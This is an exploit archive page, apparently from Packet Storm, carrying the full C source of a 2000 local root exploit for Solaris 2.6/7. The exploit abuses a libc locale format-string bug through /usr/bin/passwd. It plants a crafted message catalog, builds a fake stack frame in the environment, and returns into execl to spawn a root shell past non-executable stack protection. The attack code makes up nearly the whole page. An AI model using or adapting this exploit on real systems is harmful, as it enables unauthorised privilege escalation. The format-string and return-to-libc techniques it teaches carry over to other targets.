what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

local_nonexec_sun.c

local_nonexec_sun.c
Posted Nov 14, 2000
Authored by Warning3 | Site nsfocus.com

Solaris Sparc 2.6 / 7 local root exploit against /usr/bin/passwd which uses the yet unpatched libc locale bug and bypasses non-executable stack protection.

tags | exploit, local, root
systems | solaris
SHA-256 | 9dc277fdb780142c947251ebc93a3f2d952d404ea7c6e9a9a18360bb133880c4

local_nonexec_sun.c

Change Mirror Download
/* exploit for locale subsystem format strings bug In Solaris with noexec stack.
* Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g.
* ./ex -o -4 )
*
* $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
* usages: ./ex -h
*
* Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
* Thanks for horizon's great article about defeating noexec stack for Solaris.
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
* by warning3@nsfocus.com (http://www.nsfocus.com)
* y2k/11/10
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>

#define BUFSIZE 2048 /* the size of format string buffer*/
#define BUFF 128 /* the progname buffer size */
#define SHELL "/bin/ksh" /* shell name */
#define DEFAULT_NUM 68 /* format strings number */
#define DEFAULT_RETLOC 0xffbefb44 /* default retloc address */
#define VULPROG "/usr/bin/passwd" /* vulnerable program name */



void usages(char *progname)
{

int i;
printf("Usage: %s \n", progname);
printf(" [-h] Help menu\n");
printf(" [-n number] format string's number\n");
printf(" [-a align] retloc buffer alignment\n");
printf(" [-o offset] retloc offset\n\n");

}

/* get current stack point address to guess Return address */
long get_sp(void)

{
__asm__("mov %sp,%i0");
}


main( int argc, char **argv )

{

char *pattern, retlocbuf[BUFF], *env[11];
char plat[BUFF], *ptr;
long sh_addr, sp_addr, i;
long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM, align = 0, offset=0;
long *addrptr;
long reth, retl, reth1, retl1;
FILE *fp;


extern int optind, opterr;
extern char *optarg;
int opt;

void *handle;
long execl_addr, fp_addr, fp1_addr;
char fakeframe[512];
char padding[64], pad = 0;
int env_len, arg_len, len;

char progname[BUFF];


strncpy(progname, argv[0], BUFF-1);

while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
switch((char)opt)
{

case 'n':
num = atoi(optarg);
break;

case 'a':
align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
case 'h':
default:
usages(progname);
exit(0);
}

retloc += offset;

/* get platform info */
sysinfo(SI_PLATFORM,plat,256);

/* Construct fake frame in environ */

env[0] = "NLSPATH=:.";
env[1] = padding; /* padding so that fakeframe's address can be divided by 4 */
/* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
env[2]=(fakeframe); /* sh_addr|sh_addr|0x00 */
env[3]=&(fakeframe[40]);/* |0x00 */
env[4]=&(fakeframe[40]);/* |0x00 */
env[5]=&(fakeframe[40]);/* |0x00 */
env[6]=&(fakeframe[44]);/* |fp2|fp2|fp2|fp2|fp2*/
env[7]=SHELL; /* shell strings */
env[8]=NULL;

/* calculate the length of "VULPROG" + argv[1] */
arg_len = strlen(VULPROG) + strlen("-z") + 2;

/* calculate the pad nummber .
* We manage to let the length of padding + arg_len + "NLSPATH=." can
* be divided by 4. So fakeframe address is aligned with 4, otherwise
* the exploit won't work.
*/
pad = 3 - (arg_len + strlen(env[0]) +1)%4;
memset(padding, 'A', pad);
padding[pad] = '\0';

/* get environ length */
env_len = 0;
for(i = 0 ; i < 8 ; i++ )
env_len += strlen(env[i]) + 1;


/* get the length from argv[0] to stack bottom
*
* +------------------------+-----------+--------+-----------+--------+
* |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
* +------------------------+-----------+--------+-----------+--------+
* ^ ^
* |__startaddr |__sp_addr
*
* "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
*
* I find "startaddr" always can be divided by 4.
* So we can adjust the padding's size to let the fakeframe address
* can be aligned with 4.
*
* len = length of "argv" + "env" + "platform" + "program name"
* if (len%4)!=0, sp_addr - startaddr = (len/4)*4 + 4
* if (len%4)==0, sp_addr - startaddr = len
* So we can get every entry's address precisely based on startaddr or sp_addr.
* Now we won't be bored with guessing the alignment and offset.:)
*/
len = arg_len + env_len + strlen(plat) + 1
+ strlen(VULPROG) + 1;
printf("len = %#x\n", len);

/* get stack bottom address */

sp_addr = (get_sp() | 0xffff) & 0xfffffffc;

/* fp1_addr must be valid stack address */
fp1_addr = (sp_addr & 0xfffffac0);

/* get shell string address */
sh_addr = sp_addr - (4 - len%4) /* the trailing zero number */
- strlen(VULPROG) - strlen(plat) - strlen(SHELL) - 3 ;

printf("SHELL address = %#x\n", sh_addr);

/* get our fake frame address */
fp_addr = sh_addr - 8*8 - 1;

/* get execl() address */
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
{
fprintf(stderr,"Can't find execl().\n");
exit(1);
}

/* dec 4 to skip the 'save' instructure */
execl_addr -= 4;

/* check if the exec addr includes zero */
if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
!(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
{
fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
exit(1);
}

printf("Using execl() address : %#x\n",execl_addr);

/* now we set up our fake stack frame */

addrptr=(long *)fakeframe;

*addrptr++= 0x12345678; /* you can put any data in local registers */
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;

*addrptr++=sh_addr; /* points to our string to exec */
*addrptr++=sh_addr; /* argv[1] is a copy of argv[0] */
*addrptr++=0x0; /* NULL for execl(); &fakeframe[40] */
*addrptr++=fp1_addr; /* &fakeframe[44] */
*addrptr++=fp1_addr;
*addrptr++=fp1_addr;
*addrptr++=fp1_addr; /* we need this address to work */
*addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */

*addrptr++=0x0;
/* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */
retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);

printf("Using RETloc address = 0x%x, fp_addr = 0x%x ,align= %d\n", retloc, fp_addr, align );

/* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/

addrptr = (long *)retlocbuf;
for( i = 0 ; i < 8 ; i ++ )
*(addrptr + i) = 0x41414141;
*(addrptr + 1) = retloc - 4;
*(addrptr + 3) = retloc - 2;
*(addrptr + 5) = retloc ;
*(addrptr + 7) = retloc + 2;

if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}

/* Let's make formats string buffer:
* |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|
*/
ptr = pattern;
memset(ptr, 'A', 32);
ptr += 32;

for(i = 0 ; i < num ; i++ ){
memcpy(ptr, "%.8x", 4);
ptr += 4;
}

reth = (fp_addr >> 16) & 0xffff ;
retl = (fp_addr >> 0) & 0xffff ;
reth1 = (execl_addr >> 16) & 0xffff ;
retl1 = (execl_addr >> 0) & 0xffff ;


/* Big endian arch */
sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn",
(reth - num*8 -4*8 + align ), (0x10000 + retl - reth),
(0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));

if( !(fp = fopen("messages.po", "w+")))
{
perror("fopen");
exit(1);
}
fprintf(fp,"domain \"messages\"\n");
fprintf(fp,"msgid \"%%s: illegal option -- %%c\\n\"\n");
fprintf(fp,"msgstr \"%s\\n\"", pattern + align);
fclose(fp);
system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po");

/* thanks for z33d's idea.
* It seems we have to do like this in Solaris 8.
*/
i=open("./SUNW_OST_OSLIB",O_RDWR);
/* locate the start position of formats strings in binary file*/
lseek(i, 62, SEEK_SET);
/* replace the start bytes with our retlocbuf */
write(i, retlocbuf + align, 32 - align);
close(i);

execle(VULPROG, VULPROG, "-z", NULL, env);
} /* end of main */

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close